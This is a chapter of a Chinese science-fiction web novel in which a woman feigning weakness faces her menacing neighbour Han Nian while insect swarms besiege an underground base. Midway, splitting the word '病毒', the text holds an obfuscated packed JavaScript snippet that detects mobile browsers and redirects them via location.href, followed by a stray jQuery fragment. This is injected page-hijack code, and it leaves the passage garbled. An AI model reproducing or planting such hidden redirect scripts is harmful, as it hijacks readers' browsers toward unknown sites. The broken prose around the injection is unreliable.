赫弄溪喘了一口气，心绪意外的平和。


    窗外的雨越下越大，这是地下城的人工造雨，赫弄溪是这么认为的。


    然而，这雨愈演愈烈。


    逐渐从大雨转变为暴风雨，豆大的雨点疯狂敲打在透明窗面上。


    手指的颤动越来越明显，赫弄溪聚精会神，凑上去仔细查看，那雨水在黑夜的映照下漆黑一片，就像雨水本身就是黑色液体。


    然而她越是认真瞧，就越能够发现不对劲。


    雨水里混杂着某种东西。


    手指因为雨水击打而轻颤，汗水因腿部的痛苦而流下，就连泪水，都因她刚才莫名情绪化而疯狂涌出。


    密密麻麻的小虫，混杂在雨水中，小而密，贴近窗面，还能听到古怪的嘶鸣。


    心头压下去的情绪再次翻涌而上，赫弄溪盯着那些虫子，眼睛微眯，虫子倏地从中间分开，伴随着“砰”的一声，一双浑黄色的竖瞳紧紧贴在外面。


    死死盯着她。


    黑猫摇了摇尾巴，圆又大的眼睛在黑夜背景下显得格外明亮。


    【外面的人造月亮还是不够强大，连月光都透不进来】


    ‘不……’


    赫弄溪眼里只剩下那只黑猫，黑夜彻底沦为陪衬，手指按压窗面，特制的窗面能够承受强大的外力侵袭，至少不会在这些撞击下轰然破碎。


    赫弄溪和那只黑猫对视，冷眸正要出手时，听到门铃声，她侧头瞥了一眼，再回过头来时，黑猫消失得无影无踪。


    赫弄溪走到门前，抬手挥起地面上的玻璃碎片，迅速扯过纸巾擦拭地面上的血迹。


    发疯一时爽，清理火葬场。


    无数被血液浸湿的纸巾被一齐塞进了垃圾桶，还倒入了血液消融剂。


    这东西随处可见，赫弄溪特意关注过，就算在黄沙基地街头都能看见一个个红色的铁质箱子，里面装的不是灭火器，而是一瓶瓶用透明塑料瓶装着的血液消融剂。


    屋内的血腥气一时挥散不去，然而窗外还有不停冲撞的诡异飞虫，不可能这时候打开窗户通风。


    赫弄溪光脚踩踏在地面上，压下眉眼打开了门。


    高大的身影遮挡住大半屋外空间里灯光的映照，猫叫声灌入耳膜，赫弄溪缓缓抬头，先是注意到来人肩膀上乖巧蹲坐着的黑猫，再是抬眸对上来人的视线。


    她没有完全打开门，手指攥住门沿，露出半张谨慎紧张的脸。


    “你好，请问有什么事吗？”赫弄溪的语气温和，带着极其明显的小心翼翼。


    只见得眼前人表情古怪，盯着她看了好几秒，又下意识想要透过她打开的门缝看内里，头微微向后仰，饶有兴致打量她：“你是韩年的什么人？”


    话音里是显而易见的随意，显然没有把眼前这个瘦弱的女人放在眼里，至少无论如何，韩年不会真的对她感兴趣。


    “你找韩年做什么？”赫弄溪把门关掉了一些，就差紧闭上门，彻底把男人隔绝在门外。


    黑猫舔了舔爪子，露出长而尖锐的指甲。


    一双黄色眼瞳盯着她的一举一动，竖瞳骤然收缩，仿佛随时就要进攻。


    就在赫弄溪即将关门之时，对面的门打开。


    穿着黑皮大衣的颀长身影从对面迈出步子，慵懒散漫的声音在楼道里响起，“如果你不需要眼睛可以去垃圾回收厂处理掉，也不至于连门牌号都找不对。”


    他的话音具有极强的辨识度，赫弄溪想都不用想，除了韩年还能是谁。


    果然越不想遇见什么就真的会来什么，对面那个邻居的确是韩年，也算是意料之中。


    不过扮演一个没有实力的花瓶，现在她应该做什么才能贴合人设呢？


    或许是发现对方和自己依靠的大佬是朋友，于是放松警惕并且试图攀附。


    韩年径直越过高大男人，黑猫轻声叫了一下，男人一只脚伸出去，踢了下门外的墙壁。


    一只手伸到门缝，戴着黑色气质手套，手套绷紧凸显出他手背上明显的经络。


    “让我进去。”


    赫弄溪没有迟疑，直接退后打开了门，还未散尽的血腥气扑面而来，韩年皱眉，面露疑惑，“你受伤了？”


    原本以为只是单纯的询问，谁料韩年一步踏进来，随手把门关闭的同时，目光在赫弄溪身上迅速打量一番，“哪里受伤了？”


    “我没事的，就是玻璃杯不小心掉到地上……”


    在韩年冷漠的视线下，赫弄溪缩了缩脖子，尽量装出心虚神情，语气小心翼翼，“然后踩到，脚割了几条口子而已。”


    赫弄溪心里烦躁于韩年出现频繁，她有其他事情要做却要受到牵制，感觉无论什么事情都难以掌控。


    “医疗箱在厨房下的第二个柜子里，你自己处理一下。”


    话音落下，韩年走到落地窗前，窗外的“雨滴”敲打得越来越厉害，发出“砰砰”的响声。


    仿佛下一刻落地窗就会被轰然击碎。


    猫叫透过门板传进来，厨房响起杂音，一面镜子从落地窗钻出，贴在窗面上，投射出一道躲在地上慌忙整理的身影。


    女人光脚踩在冰冷的地面，未彻底结痂的伤口又裂开，溢出血丝。


    韩年双臂环抱，站在窗前冷冷瞧着，唇角弧度加深，嘲讽意图明显，眼里就写着两个字，是对女人的评价：蠢货。


    放眼望去，外面的建筑物都被“黑雾”笼罩，黑雾疯狂挤进缝隙、填充进可以填充的空间，整个地下城都变成黑暗的世界，人造月光在此时毫无作用，轻易就被黑雾吞噬，只剩下一点微乎其微的路灯在黑暗中闪烁。


    不过下一刻，路灯一盏接一盏熄灭。


    没过多久，屋内的灯光闪灭，覆盖在窗面上的镜子破碎，镜片掉落在地的一瞬间消失不见。


    韩年的手指划动光脑，光脑上显示出一块数值面板，红色覆盖了大半数据，这场“蓝红”数据的争霸看起来是由红色主宰战场。


    蓝色被红色飞速驱逐，红色占领了一处又一处蓝色数据池。


    韩年听着敲打窗面的雨声，手下动作不停，全息投影到窗面上，映照他冷静不屑的面容。


    ‘目前侵蚀到了入口处，再把入口的守卫亭占领。’


    ‘外面的虫子是荧惑吗？’赫弄溪清晰看见系统投放到眼前的数据，那些蓝色的数据点迅速崩灭，被红色侵蚀。


    红色虫潮势如破竹，行动起来格外轻松。


    就在赫弄溪问完荧惑那句话后，角落没有注意到的蓝色猛地反扑，顷刻间反杀掉了一片红色虫潮。


    黄沙基地的人终于发现了不对劲。


    这种内忧外患的局势很适合浑水摸鱼。


    赫弄溪让系统在这堆数据里留下几个伪装好的病


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421408|169071||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    毒，乍一看就和原本的蓝色数据点一样，其实危机暗藏。


    【确实是‘荧惑’，只是不会发光，通体都是黑色，每次出现都是以群体形式，远处看就是一团黑雾】


    【不过宿主，你记得？】


    ‘记不太清楚，只是能够回忆起，荧惑是一种能够迷惑人心，带来多种情绪的变异怪物。’


    脑海里残存的记忆不多，但残存的更多都是这个世界的危险信息，比如异变体和畸变种。


    主要特征和应对方法还记得。


    也算是一种对危险的肌肉意识。


    赫弄溪注意到蓝色数据点已经夺回了大部分的据点，她把医药箱放回远处，随手拍打手掌上的灰尘。


    医药箱应该有许久没动过，上面布满尘灰。


    ‘不是一定要争高下，就让韩年紧张一下就好。’


    赫弄溪缓慢走出去，即使涂抹了速愈药剂，脚上的伤口也不可能在一瞬间愈合，地面的冰冷穿透皮肤，赫弄溪抬眸去，窗边立着一道熟悉的身影。


    韩年没有回头看她，任由她走到他身后，他才分出一个眼神来，抬手在她头上轻拍。


    赫弄溪被他这突如其来的举动吓了一跳，强忍下心头的恶心，眨了眨眼。


    “出了点小麻烦，今晚别出门，门外那个养黑猫的家伙也不用理会。”


    “就算你很好奇，也不要问我发生了什么，你看，外面那只黑猫就在叫唤，最好别学它好奇心那么重。”


    韩年说话喜欢拐弯抹角讽刺，赫弄溪能听出来他的警告。


    不就是好奇心害死猫吗？


    死的是猫，又不会是她。


    赫弄溪弯了弯眉梢，点头。


    【对方收手了，我们也要停下吗？】


    ‘停下吧，你顺带帮我筛选一下赏金任务。’


    光脑内系统被黄沙基地的数据中心监控，如果要用这个光脑做些什么“见不得人的事情”，还需要动用另外一个账号。


    系统无疑是目前而言最好的选择。


    外面的黑雾狂潮持续了一整夜，赫弄溪蜷缩在沙发上浅眠，韩年的一举一动都能让她牵动心弦。


    然而韩年只是时不时注视她一会儿，并没有作出什么事来。


    今天没有天明，人造太阳的光亮压不住这些黑雾，至少在住宿区这边，是荧惑的控制区域。


    韩年在和人发通讯，后面不知道看见了什么，抬手锤到窗面上，外部抖落一小片荧惑。


    赫弄溪后背发凉，冰冷的视线在她身上停留了很久，赫弄溪睁开眼睛，看到一张放大的脸。


    “别怕，我不会杀你。”韩年冲她笑，“你应该也不想一整天待在屋里，所以我带你去个地方怎么样？”


    不是商量的语气，只是随口通知一声。


    赫弄溪反抗不了，只能任由他决定一切。


    然而下一刻，冰冷触感缠上脚踝，她的脚下意识蜷起后缩，戴着皮质手套的修长指节轻易环住她纤细的脚踝，犹如毒蛇缠绕于身体。


    她可以装作面无表情，但身体的下意识反应装不了，被他碰到的刹那头皮发麻，浑身起鸡皮疙瘩。


    “你想做什么？我答应你……我和你去。”


    韩年点头，但手指非但没松开，还越发用力，他把赫弄溪抗拒的神色尽收眼底，一切话语和神情都化作一声嘲讽的笑。